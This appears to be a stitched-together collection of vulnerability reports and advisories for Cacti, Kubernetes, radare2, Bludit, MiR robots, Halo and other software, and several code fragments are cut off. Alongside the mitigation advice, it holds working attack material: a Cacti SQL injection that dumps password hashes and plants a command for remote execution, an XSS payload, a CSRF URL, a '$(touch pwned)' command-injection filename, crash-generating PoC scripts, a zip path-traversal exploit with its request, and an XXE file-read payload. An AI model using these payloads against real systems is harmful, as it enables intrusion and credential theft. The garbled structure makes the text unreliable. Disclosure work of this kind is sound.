] | **Describe the bug**
A heap-based buffer overflow was discovered in tcprewrite binary, during the get_c operation. The issue is being triggered in the function get_ipv6_next() at common/get.c.
**To Reproduce**
Steps to reproduce the behavior:
1. Compile tcpreplay according to the default configuration
2. execute command
```bash
tcprewrite -i $poc -o /dev/null --fuzz-seed=42
```
[poc](https://github.com/14isnot40/vul_discovery/tree/master/tcpreplay/get_ipv6_next/poc) can be found here.
**Expected behavior**
An attacker can exploit this vulnerability by submitting a malicious pcap that exploits this issue. This will result in a Denial of Service (DoS) and potentially Information Exposure when the application attempts to process the file.

] | **Describe the bug**
Cacti admin console provides a functionality to disable a created user which takes his privileges to perform any action but if a page is auto-refreshed a disabled user can view updated data.
**To Reproduce**
Steps to reproduce the behavior:
1. Log in with Admin account and navigate to http://192.168.56.106/cacti/user_admin.php?action=user_edit&id=5&tab=realms
2. Give the new user permission to view logs.
3. Login to new user's account and navigate http://192.168.56.106/cacti/clog_user.php
4. From Admin's account disable the created user.
**Actual behavior**
A disabled user can view the system logs and the logs are even updating after the refresh time.
**Expected behavior**
A disabled user should not be privileged to view the system logs.

A malformed GET request at http://192.168.56.106/cacti/auth_profile.php?action=edit can lead to admin email change.
Affected URI
http://192.168.56.106/cacti/auth_profile.php?action=edit
**To Reproduce**
Steps to reproduce the behavior:
1. Go to 'http://192.168.56.106/cacti/auth_profile.php?action=edit'
2. Turn on a proxy interceptor, I used Burp.
3. Change the email and save the request.
4. Change the email in the saved request and send the URL to a logged in admin.
5. Admin email will be changed
Malformed Request:
http://192.168.56.106/cacti/auth_profile.php?tab=general&action=update_data&name=email_address&[email protected]
**Expected behavior**
Such actions should not be requested with GET method and anti-CSRF tokens should be used.

] | CVSS Rating: [CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L) (6.0 Medium)
A cluster configured to use an affected container networking implementation is susceptible to man-in-the-middle (MitM) attacks. By sending “rogue” router advertisements, a malicious container can reconfigure the host to redirect part or all of the IPv6 traffic of the host to the attacker-controlled container. Even if there was no IPv6 traffic before, if the DNS returns A (IPv4) and AAAA (IPv6) records, many HTTP libraries will try to connect via IPv6 first then fallback to IPv4, giving an opportunity to the attacker to respond.
### Am I vulnerable?
Kubernetes itself is not vulnerable. A Kubernetes cluster using an affected networking implementation is vulnerable.
Binary releases of the kubelet installed from upstream Kubernetes Community repositories hosted at https://packages.cloud.google.com/ may have also installed the `kubernetes-cni` package containing the [containernetworking CNI plugins](https://github.com/containernetworking/plugins), which are affected by CVE-2020-10749.
#### Affected Versions
The following official kubelet package versions have an affected `kubernetes-cni` package as a dependency:
- kubelet v1.18.0-v1.18.3
- kubelet v1.17.0-v1.17.6
- kubelet < v1.16.11
A cluster having an affected `kubernetes-cni` package installed is only affected if configured to use it.
#### Third-party components and versions
Many container networking implementations are affected, including:
- CNI Plugins maintained by the containernetworking team, prior to version 0.8.6 (CVE-2020-10749) (See https://github.com/containernetworking/plugins/pull/484)
- Calico and Calico Enterprise (CVE-2020-13597) Please refer to the Tigera Advisory TTA-2020-001 at https://www.projectcalico.org/security-bulletins/ for details
- Docker versions prior to 19.03.11 (see https://github.com/docker/docker-ce/releases/v19.03.11) (CVE-2020-13401)
- Flannel, all current versions
- Weave Net, prior to version 2.6.3
It is believed that the following are not affected:
- Cilium
- Juniper Contrail Networking
- OpenShift SDN
- OVN-Kubernetes
- Tungsten Fabric
Information about the vulnerability status of any plugins or implementations not listed above is currently unavailable. Please contact the provider directly with questions about their implementation.
### How do I mitigate this vulnerability?
- Set the host default to reject router advertisements. This should prevent attacks from succeeding, but may break legitimate traffic, depending upon the networking implementation and the network where the cluster is running. To change this setting, set the sysctl `net.ipv6.conf.all.accept_ra` to 0.
- Use TLS with proper certificate validation
- Disallow `CAP_NET_RAW` for untrusted workloads or users. For example, a Pod Security Policy with a `RequiredDropCapabilities` that includes `NET_RAW` will prevent this attack for controlled workloads.
#### Fixed Versions
The following packages will bundle fixed versions of the containernetworking CNI plugins that were formerly installed via the `kubernetes-cni` package.
- kubelet v1.19.0+ (master branch #91370)
- kubelet v1.18.4+ (#91387)
- kubelet v1.17.7+ (#91386)
- kubelet v1.16.11+ (#91388)
Because these versions are not yet available, cluster administrators using packages from the Kubernetes repositories may choose to manually upgrade CNI plugins by retrieving the relevant arch tarball from the containernetworking/plugins [v0.8.6 release](https://github.com/containernetworking/plugins/releases/tag/v0.8.6). The patch versions are [expected to be released on June 17th](https://github.com/kubernetes/sig-release/blob/master/releases/patch-releases.md#timelines), subject to change.
## Additional Details
#### Detection
- The IPv6 routing table on nodes will show any attacker-created entries. For example, a host with IPv6 disabled might show no default route when running `ip -6 route` but the same host with an attack in progress might show an updated default route or a route to the target address(es). Any IPv6 route with a destination interface of a host-side container network interface should be investigated.
- The host-side of a container network interface may show additional configured IPv6 addresses after receiving a rogue RA packet. For example, given a host-side interface of `cbr0` which might normally have no IPv6 address, a dynamic-configured address on the interface may signal an attack in progress. Use this command to view interface addresses: `ip a show dynamic cbr0`
#### Affected configurations
- Clusters using an affected networking implementation and allowing workloads to run with `CAP_NET_RAW privileges`. The default Kubernetes security context runs workloads with a capabilities bounding set that includes `CAP_NET_RAW`.
#### Vulnerability impact
- A user able to create containers with `CAP_NET_RAW` privileges on an affected cluster can intercept traffic from other containers on the host or from the host itself.
#### Acknowledgements
This vulnerability was reported by Etienne Champetier (@champtar).
The issue was fixed by Casey Callendrello (@squeed) and maintainers of various container networking implementations. Updates to Kubernetes builds were coordinated by Stephen Augustus (@justaugustus) and Tim Pepper (@tpepper).

] | CVSS Rating: [CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N)
There exists a Server Side Request Forgery (SSRF) vulnerability in kube-controller-manager that allows certain authorized users to leak up to 500 bytes of arbitrary information from unprotected endpoints within the master's host network (such as link-local or loopback services).
An attacker with permissions to create a pod with certain built-in Volume types (GlusterFS, Quobyte, StorageOS, ScaleIO) or permissions to create a StorageClass can cause kube-controller-manager to make GET requests or POST requests without an attacker controlled request body from the master's host network.
### Am I vulnerable?
You may be vulnerable if:
- You are running a vulnerable version (see below)
- There are unprotected endpoints normally only visible from the Kubernetes master (including link-local metadata endpoints, unauthenticated services listening on localhost, or other services in the master's private network)
- Untrusted users can create pods with an affected volume type or modify storage classes.
#### Affected Versions
- kube-controller-manager v1.18.0
- kube-controller-manager v1.17.0 - v1.17.4
- kube-controller-manager v1.16.0 - v1.16.8
- kube-controller-manager <= v1.15.11
The affected volume types are: GlusterFS, Quobyte, StorageOS, ScaleIO
### How do I mitigate this vulnerability?
Prior to upgrading, this vulnerability can be mitigated by adding endpoint protections on the master or restricting usage of the vulnerable volume types (for example by constraining usage with a [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#volumes-and-file-systems) or third-party admission controller such as [Gatekeeper](https://github.com/open-policy-agent/gatekeeper)) and restricting StorageClass write permissions through RBAC.
#### Fixed Versions
The information leak was patched in the following versions:
- kube-controller-manager master - fixed by https://github.com/kubernetes/kubernetes/pull/89794
- kube-controller-manager v1.18.1+ - fixed by https://github.com/kubernetes/kubernetes/pull/89796
- kube-controller-manager v1.17.5+ - fixed by https://github.com/kubernetes/kubernetes/pull/89837
- kube-controller-manager v1.16.9+ - fixed by https://github.com/kubernetes/kubernetes/pull/89838
- kube-controller-manager v1.15.12+ - fixed by https://github.com/kubernetes/kubernetes/pull/89839
To upgrade, refer to the documentation: https://kubernetes.io/docs/tasks/administer-cluster/cluster-management/#upgrading-a-cluster
## Additional Details
Exploitation of this vulnerability causes the kube-controller-manager to make a request to a user-supplied, unvalidated URL. The request does not include any kube-controller-manager client credentials.
#### Acknowledgements
This vulnerability was reported by Brice Augras from Groupe-Asten and Christophe Hauquiert from Nokia.

] | Hello I think I found a vulnerability.
This vulnerability consists in a function called showAlert() in the administration panel of bludit,that when accessed in DOM, allows users define the text to be popped up in the message box. But this function dont have any sanatization and the user can inject any javascript and html code in the page
the payload used was: showAlert("<script>alert(1)</script>");
The versions that i tested was the Bludit 3.x. I'll check the old ones for a more in deep report
Thank you.

] | # sqli as admin v1.2.12
There is an sql injection on the latest version (in the /cacti/color.php page on the parameter filter.
## To Reproduce
Steps to reproduce the behavior:
call `/cacti/color.php?action=export&header=false&filter=')<SQLI HERE>--+-`
## Expected behavior
change the following lines :
https://github.com/Cacti/cacti/blob/f27e609cadfd7bd5018769f507ee062de49a5e8a/color.php#L754
```
/* form the 'where' clause for our main sql query */
if (get_request_var('filter') != '') {
$sql_where = "WHERE (name LIKE '%" . get_request_var('filter') . "%'
OR hex LIKE '%" . get_request_var('filter') . "%')";
} else {
$sql_where = '';
}
```
You should do `db_qstr('%' . get_request_var('filter') . '%')` instead of '%" . get_request_var('filter') . "%.
## Additional context
- As the application accept stacked queries, this can easy lead to remote code execution by replacing the path_php_binary setting inside the database.
```
GET /cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='touch+/tmp/sqli_from_rce;'+where+name='path_php_binary';--+-
```
- Then call `host.php?action=reindex` and get the shell_exec called with the path_php_binary.

## Description
In certain circumstances, downloading a package from the helm feed can leak the feed password to a deployment log. This means that an authenticated user could see a password that they would potentially not be authorized to view.
## Affected versions
**Octopus Server:** 2018.8.0 - 2019.12.1
## Mitigation
Not a lot of good options here:
* Upgrade to 2019.12.2+
* rotate feed passwords on a regular basis
## Workarounds
None known.
## CVE
CVE-2020-14470 | Helm chart download can leak feed password | https://api.github.com/repos/OctopusDeploy/Issues/issues/6438/comments | 5 | 2020-06-19T04:37:00Z | 2020-06-24T05:23:29Z | https://github.com/OctopusDeploy/Issues/issues/6438 | 641,698,080 | 6,438 |
CVE-2020-10269 | 2020-06-24T05:15:12.647 | One of the wireless interfaces within MiR100, MiR200 and possibly (according to the vendor) other MiR fleet vehicles comes pre-configured in WiFi Master (Access Point) mode. Credentials to such wireless Access Point default to well known and widely spread SSID (MiR_RXXXX) and passwords (omitted). This information is also available in past User Guides and manuals which the vendor distributed. We have confirmed this flaw in MiR100 and MiR200 but it might also apply to MiR250, MiR500 and MiR1000. | {

type: vulnerability
description: One of the wireless interfaces within MiR100, MiR200 and possibly (according
to the vendor) other MiR fleet vehicles comes pre-configured in WiFi Master (Access
Point) mode. Credentials to such wireless Access Point default to well known and
widely spread SSID (MiR_RXXXX) and passwords (omitted). This information is also
available in past User Guides and manuals which the vendor distributed. We have
confirmed this flaw in MiR100 and MiR200 but it might also apply to MiR250, MiR500
and MiR1000.

CVE-2020-10271 | 2020-06-24T05:15:12.847 | MiR100, MiR200 and other MiR robots use the Robot Operating System (ROS) default packages exposing the computational graph to all network interfaces, wireless and wired. This is the result of a bad set up and can be mitigated by appropriately configuring ROS and/or applying custom patches as appropriate. Currently, the ROS computational graph can be accessed fully from the wired exposed ports. In combination with other flaws such as CVE-2020-10269, the computation graph can also be fetched and interacted from wireless networks. This allows a malicious operator to take control of the ROS logic and correspondingly, the complete robot given that MiR's operations are centered around the framework (ROS). | {

title: 'RVD#2554: MiR ROS computational graph presents no authentication mechanisms'
type: vulnerability
description: MiR100, MiR200 and other MiR robots use the Robot Operating System (ROS)
default packages exposing the computational graph without any sort of authentication.
This allows attackers with access to the internal wireless and wired networks to
take control of the robot seamlessly. In combination with CVE-2020-10269 and CVE-2020-10271,
this flaw allows malicious actors to command the robot at desire.

title: 'RVD#2565: Weak token generation for the REST API.'
type: vulnerability
description: The access tokens for the REST API are directly derived from the publicly
available default credentials for the web interface. Given a USERNAME and a PASSWORD,
the token string is generated directly with base64(USERNAME:sha256(PASSWORD)). An
unauthorized attacker inside the network can use the default credentials to compute
the token and interact with the REST API to exfiltrate, infiltrate or delete data.

CVE-2020-10276 | 2020-06-24T05:15:13.270 | The password for the safety PLC is the default and thus easy to find (in manuals, etc.). This allows a manipulated program to be uploaded to the safety PLC, effectively disabling the emergency stop in case an object is too close to the robot. Navigation and any other components dependent on the laser scanner are not affected (thus it is hard to detect before something happens) though the laser scanner configuration can also be affected altering further the safety of the device. | {

title: 'RVD#2558: Default credentials on SICK PLC allows disabling safety features'
type: vulnerability
description: The password for the safety PLC is the default and thus easy to find
(in manuals, etc.). This allows a manipulated program to be uploaded to the safety
PLC, effectively disabling the emergency stop in case an object is too close to
the robot. Navigation and any other components dependent on the laser scanner are
not affected (thus it is hard to detect before something happens) though the laser
scanner configuration can also be affected altering further the safety of the device.

Description:
There is a heap-overflow bug in jfif_decode(void *ctxt, BMP *pb) function at ffjpeg/src/jfif.c : line 516.
An attacker can exploit this bug to cause a Denial of Service (DoS) by submitting a malicious jpeg image.
The bug is caused by the following dangerous memcpy calling in jfif_decode() function:
for (i=0; i<8; i++) {
memcpy(idst, isrc, 8 * sizeof(int));
idst += yuv_stride[c];
isrc += 8;
}
We used AddressSanitizer instrumented in ffjpeg and triggered this bug, the asan output is:

ASAN telled us there is a heap-buffer-overflow on 0x4f24df in jfif_decode (/root/ffjpeg/src/ffjpeg+0x4f24df)
Then we used IDA to locate this triggered bug.
Lastly, we used GDB to debug this bug, the GDB outputs:

### Expected behavior
`idpd` does not cause untrusted code execution on my system.
### Actual behavior
Malformed PDB file names in the PDB server path cause shell injection via the following codepath:
https://github.com/radareorg/radare2/blob/master/libr/bin/pdb/pdb_downloader.c#L93-L99
In effect, `$(...)` is not escaped properly, causing this issue. **Note that this is not an isolated case in the code base, `grep` for `r_sys_cmdf` or `r_sys_cmd` for more potential attack vectors.**
### Steps to reproduce the behavior
Open the executable in radare2 and run `idpd` to trigger the download. The shell code will execute, and will create a file called `pwned` in the current directory.
### Additional Logs, screenshots, source-code, configuration dump, ...
I have just used a hex editor to patch the `dbg_file` to `$(touch pwned)` in a PE file from the `radare2-testbins` repository.
[ConsoleApplication1.zip](https://github.com/radareorg/radare2/files/4673454/ConsoleApplication1.zip) (password is `infected`)

The example above is specific to the PDB downloader, but more investigation is required to uncover all the possible attack vectors in the radare2 code-base. | Command injection across r_sys_cmd* | https://api.github.com/repos/radareorg/radare2/issues/16945/comments | 10 | 2020-05-24T12:20:29Z | 2020-07-21T03:48:53Z | https://github.com/radareorg/radare2/issues/16945 | 623,853,564 | 16,945 |

If an attacker is able to intercept certain requests to the Kubelet, they can send a redirect response that may be followed by a client using the credentials from the original request. This can lead to compromise of other nodes.
If multiple clusters share the same certificate authority trusted by the client, and the same authentication credentials, this vulnerability may allow an attacker to redirect the client to another cluster. In this configuration, this vulnerability should be considered **High** severity.
### Am I vulnerable?
You are only affected by this vulnerability if you treat the node as a security boundary, or if clusters share certificate authorities and authentication credentials.
Note that this vulnerability requires an attacker to first compromise a node through separate means.
#### Affected Versions
- kube-apiserver v1.18.0-1.18.5
- kube-apiserver v1.17.0-1.17.8
- kube-apiserver v1.16.0-1.16.12
- all kube-apiserver versions prior to v1.16.0
### How do I mitigate this vulnerability?
To mitigate this vulnerability you must upgrade the kube-apiserver to a patched version.
#### Fixed Versions
- kube-apiserver master - fixed by https://github.com/kubernetes/kubernetes/pull/92941
- kube-apiserver v1.18.6 - fixed by https://github.com/kubernetes/kubernetes/pull/92969
- kube-apiserver v1.17.9 - fixed by https://github.com/kubernetes/kubernetes/pull/92970
- kube-apiserver v1.16.13 - fixed by https://github.com/kubernetes/kubernetes/pull/92971
**Fix impact:** Proxied backends (such as an extension API server) that respond to upgrade requests with a non-101 response code may be broken by this patch.
To upgrade, refer to the documentation: https://kubernetes.io/docs/tasks/administer-cluster/cluster-management/#upgrading-a-cluster
### Detection
Upgrade requests should never respond with a redirect. If any of the following requests have a response code in the 300-399 range, it may be evidence of exploitation. This information can be found in the Kubernetes audit logs.
- pods/exec
- pods/attach
- pods/portforward
- any resource: proxy
If you find evidence that this vulnerability has been exploited, please contact [email protected]

The `/etc/hosts` file mounted in a pod by kubelet is not included by the kubelet eviction manager when calculating ephemeral storage usage by a pod. If a pod writes a large amount of data to the `/etc/hosts` file, it could fill the storage space of the node and cause the node to fail.
### Am I vulnerable?
Any clusters allowing pods with sufficient privileges to write to their own `/etc/hosts` files are affected. This includes containers running with `CAP_DAC_OVERRIDE` in their capabilities bounding set (true by default) and either UID 0 (root) or a security context with `allowPrivilegeEscalation: true` (true by default).
#### Affected Versions
- kubelet v1.18.0-1.18.5
- kubelet v1.17.0-1.17.8
- kubelet < v1.16.13
### How do I mitigate this vulnerability?
Prior to upgrading, this vulnerability can be mitigated by using PodSecurityPolicies or other admission webhooks to force containers to drop CAP_DAC_OVERRIDE or to prohibit privilege escalation and running as root, but these measures may break existing workloads that rely upon these privileges to function properly.
#### Fixed Versions
- kubelet master - fixed by #92916
- kubelet v1.18.6 - fixed by #92921
- kubelet v1.17.9 - fixed by #92923
- kubelet v1.16.13 - fixed by #92924
To upgrade, refer to the documentation: https://kubernetes.io/docs/tasks/administer-cluster/cluster-management/#upgrading-a-cluster
### Detection
Large pod `etc-hosts` files may indicate that a pod is attempting to perform a Denial of Service attack using this bug. A command such as
```
find /var/lib/kubelet/pods/*/etc-hosts -size +1M
```
run on a node can be used to find abnormally large pod etc-hosts files.

In typical clusters: medium (5.4) [CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)
In clusters where API server insecure port has not been disabled: high (8.8) [CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
A security issue was discovered in `kube-proxy` which allows adjacent hosts to reach TCP and UDP services bound to `127.0.0.1` running on the node or in the node's network namespace. For example, if a cluster administrator runs a TCP service on a node that listens on `127.0.0.1:1234`, because of this bug, that service would be potentially reachable by other hosts on the same LAN as the node, or by containers running on the same node as the service. If the example service on port `1234` required no additional authentication (because it assumed that only other localhost processes could reach it), then it could be vulnerable to attacks that make use of this bug.
The Kubernetes API Server's default insecure port setting causes the API server to listen on `127.0.0.1:8080` where it will accept requests without authentication. Many Kubernetes installers explicitly disable the API Server's insecure port, but in clusters where it is not disabled, an attacker with access to another system on the same LAN or with control of a container running on the master may be able to reach the API server and execute arbitrary API requests on the cluster. This port is deprecated, and will be removed in Kubernetes v1.20.
### Am I vulnerable?
You may be vulnerable if:
- You are running a vulnerable version (see below)
- Your cluster nodes run in an environment where untrusted hosts share the same layer 2 domain (i.e. same LAN) as nodes
- Your cluster allows untrusted pods to run containers with `CAP_NET_RAW` (the Kubernetes default is to allow this capability).
- Your nodes (or hostnetwork pods) run any localhost-only services which do not require any further authentication. To list services that are potentially affected, run the following commands on nodes:
- `lsof +c 15 -P -n [email protected] -sTCP:LISTEN`
- `lsof +c 15 -P -n [email protected]`
On a master node, an lsof entry like this indicates that the API server may be listening with an insecure port:
```
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
kube-apiserver 123 root 7u IPv4 26799 0t0 TCP 127.0.0.1:8080 (LISTEN)
```
#### Affected Versions
- kubelet/kube-proxy v1.18.0-1.18.3
- kubelet/kube-proxy v1.17.0-1.17.6
- kubelet/kube-proxy <=1.16.10
### How do I mitigate this vulnerability?
Prior to upgrading, this vulnerability can be mitigated by manually adding an iptables rule on nodes. This rule will reject traffic to 127.0.0.1 which does not originate on the node.
` iptables -I INPUT --dst 127.0.0.0/8 ! --src 127.0.0.0/8 -m conntrack ! --ctstate RELATED,ESTABLISHED,DNAT -j DROP`
Additionally, if your cluster does not already have the API Server insecure port disabled, we strongly suggest that you disable it. Add the following flag to your kubernetes API server command line: `--insecure-port=0`
#### Detection
Packets on the wire with an IPv4 destination in the range 127.0.0.0/8 and a layer-2 destination MAC address of a node may indicate that an attack is targeting this vulnerability.
#### Fixed Versions
Although the issue is caused by `kube-proxy`, the current fix for the issue is in `kubelet` (although future versions may have the fix in `kube-proxy` instead). We recommend updating both `kubelet` and `kube-proxy` to be sure the issue is addressed.
The following versions contain the fix:
- kubelet/kube-proxy master - fixed by #91569
- kubelet/kube-proxy v1.18.4+ - fixed by #92038
- kubelet/kube-proxy v1.17.7+ - fixed by #92039
- kubelet/kube-proxy v1.16.11+ - fixed by #92040
To upgrade, refer to the documentation: https://kubernetes.io/docs/tasks/administer-cluster/cluster-management/#upgrading-a-cluster
## Additional Details
This issue was originally raised in issue #90259 which details how the `kube-proxy` sets `net.ipv4.conf.all.route_localnet=1` which causes the system not to reject traffic to localhost which originates on other hosts.
IPv6-only services that bind to a `localhost` address are not affected.
There may be additional attack vectors possible in addition to those fixed by #91569 and its cherry-picks. For those attacks to succeed, the target service would need to be UDP and the attack could only rely upon sending UDP datagrams since it wouldn't receive any replies. Finally, the target node would need to have reverse-path filtering disabled for an attack to have any effect. Work is ongoing to determine whether and how this issue should be fixed. See #91666 for up-to-date status on this issue.

commit: eac93216ecb0819dd05264e44347b2bbb931e7d9 build: 2020-07-26__21:25:02
### Expected behavior
`radare2 ./test_crash` opens the file in radare2 and displays the r2 shell to the user.
### Actual behavior
`$ r2 test_crash `
`Segmentation fault (core dumped)`
### Steps to reproduce the behavior
We, Architect (@CitadelArcho) and me, discovered this bug and dug a bit into it.
It is caused by malformed DWARF information (DW_AT_name), in the .debug_info section.
So we wrote a small PoC script which turns any ELF into a binary which makes radare2 crash.
```Python
#!/usr/bin/python3
from elftools.elf.elffile import ELFFile
from elftools.elf.enums import ENUM_E_MACHINE
import sys
import struct
import argparse
import os
import base64
# trigger a segfault in radare2 by modifing a DW_FORM_strp (a reference to a string in the dwarf debug format) (modify the shift in DW_AT_name)
# bug found by S01den and Architect (with custom fuzzing)
def build_parser():
parser = argparse.ArgumentParser(description="Trigger a segfault in radare2 by modifing a DW_FORM_strp in .debug_info")
parser.add_argument("-f", "--file",
type=str, default="main",
help="select the file to patch")
return parser
print("__________ _____ ________ _____ _________ .__ ")
print("\______ \_______ ____ _____/ ____\ \_____ \_/ ____\ \_ ___ \____________ _____| |__ ")

print("|____| |__| \____/ \____/|__| \_______ /__| \______ /|__| (____ /____ >___| / ")
print(" \/ \/ \/ \/ \/ ")
args = build_parser().parse_args()
if(len(sys.argv) < 2):
print("Command: ./unRadare2.py -f file_to_patch")
exit()
filename = args.file
found = 0
file = open(filename,"rb")

print("[*] .debug_info section f0und at %s!" % hex(section['sh_offset']))
found = 1
break
if(found):
offset_dbg = section['sh_offset']
binary[offset_dbg+0x31] = 0xff
new_filename = filename+"_PoC"
new_file = open(new_filename,"wb")
new_file.write(binary)
new_file.close()
print("[*] ELF patched ! ----> "+new_filename)
else:
comment_section = 0
shstrtab_section = 0

open("tmp_abbrev", "wb").write(bin_abbrev)
cmd_1 = "objcopy --add-section .debug_info=tmp_info "+args.file
cmd_2 = "objcopy --add-section .debug_abbrev=tmp_abbrev "+args.file
os.system(cmd_1)
os.system(cmd_2)
os.remove("tmp_info")

### Expected behavior
radare2 test_crash.exe opens the file in radare2 and displays the r2 shell to the user.
### Actual behavior
```
$ r2 test_crash.exe
Segmentation fault (core dumped)
```
### Steps to reproduce the behavior
We, Architect (@CitadelArcho) and me, discovered this bug and dug a bit into it.
It is caused by malformed IMAGE_DIRECTORY_ENTRY_SECURITY containing an OID which is different to 0x6.
The cause of this bug is this function (in radare2/libr/util/x509.c):
```C
bool r_x509_parse_algorithmidentifier (RX509AlgorithmIdentifier *ai, RASN1Object *object) {
if (!ai || !object || object->list.length < 1 || !object->list.objects) {
return false;
}
if (object->list.objects[0] && object->list.objects[0]->klass == CLASS_UNIVERSAL && object->list.objects[0]->tag == TAG_OID) {
ai->algorithm = r_asn1_stringify_oid (object->list.objects[0]->sector, object->list.objects[0]->length);
}
ai->parameters = NULL; // TODO
//ai->parameters = asn1_stringify_sector (object->list.objects[1]);
return true;
}
```
if the following condition isn't satisfied `if (object->list.objects[0] && object->list.objects[0]->klass == CLASS_UNIVERSAL && object->list.objects[0]->tag == TAG_OID)` (if object->list.objects[0]->tag != TAG_OID in our example, with TAG_OID equals to 0x6), then ai->algorithm stills NULL, which is why
```C
char *hashtype = strdup (bin->spcinfo->messageDigest.digestAlgorithm.algorithm->string);
```
in the fuction Pe32_bin_pe_compute_authentihash segfaults.
So we wrote a small PoC script which turns any PE into a binary which makes radare2 crash.
```Python
#!/usr/bin/python3
from subprocess import Popen, PIPE, STDOUT
import pefile

import struct

sig_offset = s.VirtualAddress

break

pe = pefile.PE(fname, fast_load = True)
for s in pe.__structures__:

CVE-2020-10283 | 2020-08-20T09:15:11.140 | The Micro Air Vehicle Link (MAVLink) protocol presents authentication mechanisms on its version 2.0 however according to its documentation, in order to maintain backwards compatibility, GCS and autopilot negotiate the version via the AUTOPILOT_VERSION message. Since this negotiation depends on the answer, an attacker may craft packages in a way that hints the autopilot to adopt version 1.0 of MAVLink for the communication. Given the lack of authentication capabilities in such version of MAVLink (refer to CVE-2020-10282), attackers may use this method to bypass authentication capabilities and interact with the autopilot directly. | {

title: 'RVD#3316: No authentication in MAVLink protocol'
type: vulnerability
description: The Micro Air Vehicle Link (MAVLink) protocol presents no authentication
mechanism on its version 1.0 (nor authorization) whichs leads to a variety of attacks
including identity spoofing, unauthorized access, PITM attacks and more.
According to literature, version 2.0 optionally allows for package signing which
mitigates this flaw. Another source mentions that MAVLink 2.0 only provides a simple
authentication system based on HMAC. This implies that the flying system overall
should add the same symmetric key into all devices of network. If not the case, this may
cause a security issue, that if one of the devices and its symmetric key are compromised,
the whole authentication system is not reliable.

type: vulnerability
description: Universal Robots controller execute URCaps (zip files containing Java-powered
applications) without any permission restrictions and a wide API that presents many
primitives that can compromise the overall robot operations as demonstrated in our
video. In our PoC we demonstrate how a malicious actor could 'cook' a custom URCap
that when deployed by the user (intendedly or unintendedly) compromises the system

## Description
A credential scoped to one tenant could be used to affect another tenant in certain circumstances.
Effectively, the logic was previously, "A credential may be used to access this target if it is applicable to any tenant on this target", and has been changed to, "A credential may be used to access this target only if it is applicable to ALL tenants on this target."
For example, given a certificate scoped to Tenant A and a deployment target scoped to Tenant A and Tenant B, the certificate would have previously been permitted to be used by the deployment. To give a more concrete example: with a Kubernetes cluster containing two tenants' application instances, changes made to the cluster can conceivably affect both tenants, so the certificate used to authenticate to the cluster now needs to be scoped to both tenants in order for its use to be permitted.
## Affected versions
**Octopus Server: 3.4** (since tenants were introduced).
## Mitigation / Fix
1. If an account/certificate is marked as "Exclude from tenanted deployments", change it to "Include in both tenanted and untenanted deployments".
2. Add any missing tenants to the account/certificate.
In some edge cases, it is possible that an account or certificate has been inadvertently reused across tenants where it genuinely should not have been shared.
In this case, we recommend that you:
- Provision a new account/certificate for each tenant whose infrastructure is completely segregated from the others.
- Scope the new account/certificate to just that tenant.
In the second scenario, it is feasible as a short-term workaround to follow the same steps as in the first scenario (i.e. scope the credential to all the tenants to mimic previous behavior) until the additional accounts/certificates have been provisioned.

<!-- Take the time to figure out a description for disclosure which gives customers enough detail to understand if they will be affected or not, without disclosing how to exploit the vulnerability to bad actors. -->
A regression was introduced that caused certain passwords to be written to the deployment log without being masked. This only affects deployment processes that ran steps on the server/worker (not on targets).
## Affected versions
<!-- Which versions of Octopus Server, or other software are affected by this problem? A range is usually helpful if you can figure it out. -->
**Octopus Server: 2020.3.0 - 2020.3.3**

When we want to install a theme, we can choose to download and install it from a remote http address，
When downloading a zip file and decompressing it, there is no path verification, and it can be decompressed to any path in any operating system. This is very dangerous and can allow malicious people to obtain operating system permissions.
First make a evil zip file，Make this zip file using python code
```python
import zipfile, sys
if(len(sys.argv) != 2):
print "[+] Usage : python exploit.py file_to_do_the_traversal [+]"
print "[+] Example: python exploit.py test.txt"
exit(0)
zf = zipfile.ZipFile("evil-foo.zip", "w")
zf.write(sys.argv[1], "..\\..\\..\\..\\..\\..\\..\\..\\tmp\\\\test.txt")
zf.close()
print "[+] Created evil.zip successfully [+]"
```
like this
Then start an http service and use the installation theme feature to start the installation
```
POST /api/admin/themes/fetching?uri=http:%2F%2F127.0.0.1:2333/evil-foo.zip HTTP/1.1
Host: 100.101.61.13:8090
Content-Length: 0
Admin-Authorization: 6ccadd335f0d4719a9418c0b16cfdc99
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Origin: http://100.101.61.13:8090
Referer: http://100.101.61.13:8090/admin/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```
Then you can see that our file test.txt is decompressed to the / tmp directory.

There is a function of importing other blogs in the background. This function needs to parse the xml file, but it is not used for security defense, such as setFeature ("http://apache.org/xml/features/disallow-doctype-decl", true) ;
So there is a XML external entity (XXE) vulnerability，This vulnerability can detect the intranet, read files, ddos attacks, etc.
Demonstrate reading files
First construct an evil xml file. When the file is parsed, read the `/tmp/xxe.txt` file and put the result into the category list field.
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "file:///tmp/xxe.txt">

] | Affected software: CuppaCMS
Type of vulnerability: Remote code execution
Discovered by: Yosri Debaibi
## Description:
The file manager option allows admin users to upload images to the application, the rename function could be altered by the users, An authenticated attacker is able to upload a malicious file within an image extension (jpg,jpeg,png ..) and through a custom request using the rename function provided by the file manager is able to modify the image extension into php as a result executing php codes .
## Proof of concept:
## Step1: Login to the cuppa cms.
## Step2:URL:http://127.0.0.1/cuppa/administrator/
Go to the File manager.
